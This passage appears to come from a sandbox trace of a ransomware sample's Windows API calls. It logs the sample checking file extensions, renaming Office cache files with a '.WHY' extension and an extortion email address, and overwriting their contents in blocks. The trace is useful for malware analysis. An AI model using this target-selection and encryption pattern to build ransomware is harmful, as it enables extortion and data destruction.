hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35efc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0071.574] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x35efc2c | out: lpNewFilePointer=0x0) returned 1 [0071.574] ReadFile (in: hFile=0x17c, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35efc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x35efc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.602] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec8 | out: lpNewFilePointer=0x0) returned 1 [0071.602] WriteFile (in: hFile=0x17c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x35efcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x35efcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0072.305] SetEndOfFile (hFile=0x17c) returned 1 [0072.305] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x4032068 [0072.315] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efc7c | out: lpNewFilePointer=0x0) returned 1 [0072.315] WriteFile (in: hFile=0x17c, lpBuffer=0x4032068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35efc88, lpOverlapped=0x0 | out: lpBuffer=0x4032068*, lpNumberOfBytesWritten=0x35efc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.318] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x35efc7c | out: lpNewFilePointer=0x0) returned 1 [0072.318] WriteFile (in: hFile=0x17c, lpBuffer=0x4032068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35efc88, lpOverlapped=0x0 | out: lpBuffer=0x4032068*, lpNumberOfBytesWritten=0x35efc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.326] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x35efc7c | out: lpNewFilePointer=0x0) returned 1 [0072.326] WriteFile (in: hFile=0x17c, lpBuffer=0x4032068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35efc88, lpOverlapped=0x0 | out: lpBuffer=0x4032068*, lpNumberOfBytesWritten=0x35efc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.332] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4032068 | out: hHeap=0x4c0000) returned 1 [0072.333] CloseHandle (hObject=0x17c) returned 1 [0083.907] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0083.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.908] lstrlenW (lpString=".doc") returned 4 [0083.908] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0083.908] lstrlenW (lpString=".docx") returned 5 [0083.908] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0083.908] lstrlenW (lpString=".pdf") returned 4 [0083.908] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0083.908] lstrlenW (lpString=".xls") returned 4 [0083.908] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0083.908] lstrlenW (lpString=".xlsx") returned 5 [0083.908] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0083.909] lstrlenW (lpString=".ppt") returned 4 [0083.909] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0083.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.909] lstrlenW (lpString=".zip") returned 4 [0083.909] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0083.909] lstrlenW (lpString=".rar") returned 4 [0083.909] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0083.909] lstrlenW (lpString=".bz2") returned 4 [0083.909] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0083.909] lstrlenW (lpString=".7z") returned 3 [0083.909] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0083.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.909] lstrlenW (lpString=".dbf") returned 4 [0083.909] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0083.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.909] lstrlenW (lpString=".1cd") returned 4 [0083.909] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0083.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.910] lstrlenW (lpString=".jpg") returned 4 [0083.910] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0083.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.910] lstrlenW (lpString=".doc") returned 4 [0083.910] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0083.910] lstrlenW (lpString=".docx") returned 5 [0083.910] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0083.910] lstrlenW (lpString=".pdf") returned 4 [0083.910] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0083.910] lstrlenW (lpString=".xls") returned 4 [0083.910] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0083.910] lstrlenW (lpString=".xlsx") returned 5 [0083.910] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0083.910] lstrlenW (lpString=".ppt") returned 4 [0083.910] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0083.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.911] lstrlenW (lpString=".zip") returned 4 [0083.911] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0083.911] lstrlenW (lpString=".rar") returned 4 [0083.911] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0083.911] lstrlenW (lpString=".bz2") returned 4 [0083.911] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0083.911] lstrlenW (lpString=".7z") returned 3 [0083.911] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0083.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.911] lstrlenW (lpString=".dbf") returned 4 [0083.911] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0083.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.911] lstrlenW (lpString=".1cd") returned 4 [0083.911] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0083.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0083.911] lstrlenW (lpString=".jpg") returned 4 [0083.911] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0083.912] lstrcmpiW (lpString1=".cab", lpString2=".WHY") returned -1 [0083.912] lstrlenW (lpString="Proof.cab") returned 9 [0083.912] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0083.913] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x35eff1c | out: lpFileSize=0x35eff1c*=21064532) returned 1 [0083.913] CloseHandle (hObject=0x1a4) returned 1 [0083.913] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0083.913] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0083.913] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) Thread: id = 18 os_tid = 0x84c [0059.235] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x36842a0 [0059.237] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x36942a8 [0059.238] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560508 [0059.238] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x514388 [0059.238] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560520 [0059.238] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x3db0020 [0059.238] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560538 [0059.238] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560538, Size=0x20) returned 0x5149b0 [0059.238] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560538 [0059.239] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560538, Size=0x20) returned 0x514988 [0059.239] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0059.239] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0059.239] Wow64DisableWow64FsRedirection (in: OldValue=0x393ff58 | out: OldValue=0x393ff58*=0x0) returned 1 [0059.239] lstrlenW (lpString="kernel32.dll") returned 12 [0059.239] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5149b0 | out: hHeap=0x4c0000) returned 1 [0059.239] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.239] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514988 | out: hHeap=0x4c0000) returned 1 [0059.239] Sleep (dwMilliseconds=0x64) [0059.519] Sleep (dwMilliseconds=0x64) [0059.936] lstrlenW (lpString="BCD") returned 3 [0059.936] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.936] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.936] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.937] lstrlenW (lpString=".doc") returned 4 [0059.937] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0059.937] lstrlenW (lpString=".docx") returned 5 [0059.937] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0059.937] lstrlenW (lpString=".pdf") returned 4 [0059.937] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0059.937] lstrlenW (lpString=".xls") returned 4 [0059.937] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0059.937] lstrlenW (lpString=".xlsx") returned 5 [0059.937] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0059.937] lstrlenW (lpString=".ppt") returned 4 [0059.937] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0059.937] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.937] lstrlenW (lpString=".zip") returned 4 [0059.938] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0059.938] lstrlenW (lpString=".rar") returned 4 [0059.938] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0059.938] lstrlenW (lpString=".bz2") returned 4 [0059.939] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0059.939] lstrlenW (lpString=".7z") returned 3 [0059.939] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0059.939] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.939] lstrlenW (lpString=".dbf") returned 4 [0059.939] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0059.939] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.939] lstrlenW (lpString=".1cd") returned 4 [0059.939] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0059.939] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.939] lstrlenW (lpString=".jpg") returned 4 [0059.939] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0059.940] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.940] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.940] lstrlenW (lpString=".doc") returned 4 [0059.940] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0059.940] lstrlenW (lpString=".docx") returned 5 [0059.940] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0059.940] lstrlenW (lpString=".pdf") returned 4 [0059.940] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0059.940] lstrlenW (lpString=".xls") returned 4 [0059.940] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0059.941] lstrlenW (lpString=".xlsx") returned 5 [0059.941] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0059.941] lstrlenW (lpString=".ppt") returned 4 [0059.941] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0059.941] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.941] lstrlenW (lpString=".zip") returned 4 [0059.941] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0059.941] lstrlenW (lpString=".rar") returned 4 [0059.941] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0059.941] lstrlenW (lpString=".bz2") returned 4 [0059.941] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0059.941] lstrlenW (lpString=".7z") returned 3 [0059.941] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0059.941] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.941] lstrlenW (lpString=".dbf") returned 4 [0059.942] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0059.942] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.942] lstrlenW (lpString=".1cd") returned 4 [0059.942] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0059.942] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0059.942] lstrlenW (lpString=".jpg") returned 4 [0059.942] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0059.942] lstrcmpiW (lpString1=".LOG1", lpString2=".WHY") returned -1 [0059.943] lstrlenW (lpString="BCD.LOG1") returned 8 [0059.943] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0060.919] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x393ff1c | out: lpFileSize=0x393ff1c*=0) returned 1 [0060.919] CloseHandle (hObject=0x1a0) returned 1 [0060.919] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.919] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.919] lstrlenW (lpString=".doc") returned 4 [0060.919] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0060.919] lstrlenW (lpString=".docx") returned 5 [0060.919] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0060.919] lstrlenW (lpString=".pdf") returned 4 [0060.919] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0060.920] lstrlenW (lpString=".xls") returned 4 [0060.920] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0060.920] lstrlenW (lpString=".xlsx") returned 5 [0060.920] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0060.920] lstrlenW (lpString=".ppt") returned 4 [0060.920] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0060.920] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.920] lstrlenW (lpString=".zip") returned 4 [0060.920] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0060.920] lstrlenW (lpString=".rar") returned 4 [0060.920] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0060.920] lstrlenW (lpString=".bz2") returned 4 [0060.921] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0060.921] lstrlenW (lpString=".7z") returned 3 [0060.921] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0060.921] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.921] lstrlenW (lpString=".dbf") returned 4 [0060.921] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0060.921] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.921] lstrlenW (lpString=".1cd") returned 4 [0060.921] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0060.921] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.921] lstrlenW (lpString=".jpg") returned 4 [0060.921] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0060.922] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.922] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.922] lstrlenW (lpString=".doc") returned 4 [0060.922] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0060.922] lstrlenW (lpString=".docx") returned 5 [0060.922] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0060.922] lstrlenW (lpString=".pdf") returned 4 [0060.922] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0060.922] lstrlenW (lpString=".xls") returned 4 [0060.922] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0060.922] lstrlenW (lpString=".xlsx") returned 5 [0060.923] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0060.923] lstrlenW (lpString=".ppt") returned 4 [0060.923] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0060.923] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.923] lstrlenW (lpString=".zip") returned 4 [0060.923] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0060.923] lstrlenW (lpString=".rar") returned 4 [0060.923] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0060.923] lstrlenW (lpString=".bz2") returned 4 [0060.923] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0060.923] lstrlenW (lpString=".7z") returned 3 [0060.923] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0060.923] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.923] lstrlenW (lpString=".dbf") returned 4 [0060.924] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0060.924] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.924] lstrlenW (lpString=".1cd") returned 4 [0060.924] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0060.924] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0060.924] lstrlenW (lpString=".jpg") returned 4 [0060.924] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0060.924] lstrcmpiW (lpString1=".msi", lpString2=".WHY") returned -1 [0060.925] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0060.925] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0061.608] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x393ff1c | out: lpFileSize=0x393ff1c*=2506240) returned 1 [0061.608] CloseHandle (hObject=0x140) returned 1 [0061.608] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0061.609] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.609] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0061.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0061.610] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fc6c | out: lpNewFilePointer=0x0) returned 1 [0061.610] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.610] ReadFile (in: hFile=0x140, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x393fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x393fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.869] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x393fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.882] ReadFile (in: hFile=0x140, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x393fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x393fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.613] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x393fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.613] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x393fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.613] ReadFile (in: hFile=0x140, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x393fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x393fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.948] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.948] WriteFile (in: hFile=0x140, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x393fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x393fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0063.986] SetEndOfFile (hFile=0x140) returned 1 [0063.986] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x4022060 [0063.997] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.998] WriteFile (in: hFile=0x140, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x393fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x393fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.279] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x393fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.279] WriteFile (in: hFile=0x140, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x393fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x393fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.299] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x393fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.299] WriteFile (in: hFile=0x140, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x393fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x393fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.794] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4022060 | out: hHeap=0x4c0000) returned 1 [0064.801] CloseHandle (hObject=0x140) returned 1 [0066.855] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0068.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.172] lstrlenW (lpString=".doc") returned 4 [0068.173] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.173] lstrlenW (lpString=".docx") returned 5 [0068.173] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0068.173] lstrlenW (lpString=".pdf") returned 4 [0068.173] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.173] lstrlenW (lpString=".xls") returned 4 [0068.173] lstrcmpiW (lpString1=".xls", 